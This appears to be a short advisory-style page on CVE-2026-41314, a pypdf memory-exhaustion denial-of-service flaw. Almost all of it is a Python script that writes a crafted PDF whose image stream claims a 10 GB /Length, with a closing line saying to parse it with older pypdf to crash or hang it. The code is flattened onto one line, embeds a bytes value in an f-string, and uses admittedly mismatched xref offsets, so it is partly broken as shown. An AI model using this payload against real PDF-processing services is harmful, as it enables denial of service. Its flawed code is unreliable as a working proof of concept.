CVE-2026-41314 pypdf内存耗尽拒绝服务漏洞

import sys # Create a minimal PDF with a stream object that has a huge /Length # This targets the pypdf vulnerability where it tries to allocate memory based on /Length pdf_header = b"%PDF-1.4\n" obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" # A stream with a massive length claim (e.g., 10GB) malicious_length = 10000000000 stream_content = b"Hello" # Small actual content obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" # The malicious object: An XObject or Image with a FlateDecode stream obj_3_content = f"3 0 obj\n<< /Type /Page /Parent 2 0 R /Resources << /XObject << /Img0 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >>\nendobj\n".encode() # Define object 4 with the malicious stream obj_4 = f"4 0 obj\n<< /Length {malicious_length} /Filter /FlateDecode /Subtype /Image /Width 100 /Height 100 /BitsPerComponent 8 /ColorSpace /DeviceRGB >>\nstream\n{stream_content}\nendstream\nendobj\n".encode() # Dummy content for the page content stream obj_5 = b"5 0 obj\n<< /Length 44 >>\nstream\nBT /Img0 Do ET\nendstream\nendobj\n" # Construct XREF and Trailer (Simplified offsets) xref = b"xref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000265 00000 n \n0000000400 00000 n \n" trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n475\n%%EOF\n" malicious_pdf = pdf_header + obj_1 + obj_2 + obj_3_content + obj_4 + obj_5 + xref + trailer with open("exploit_pypdf.pdf", "wb") as f: f.write(malicious_pdf) print("Malicious PDF 'exploit_pypdf.pdf' created successfully.") print("Use pypdf < 6.10.2 to parse this file to observe the crash/hang.")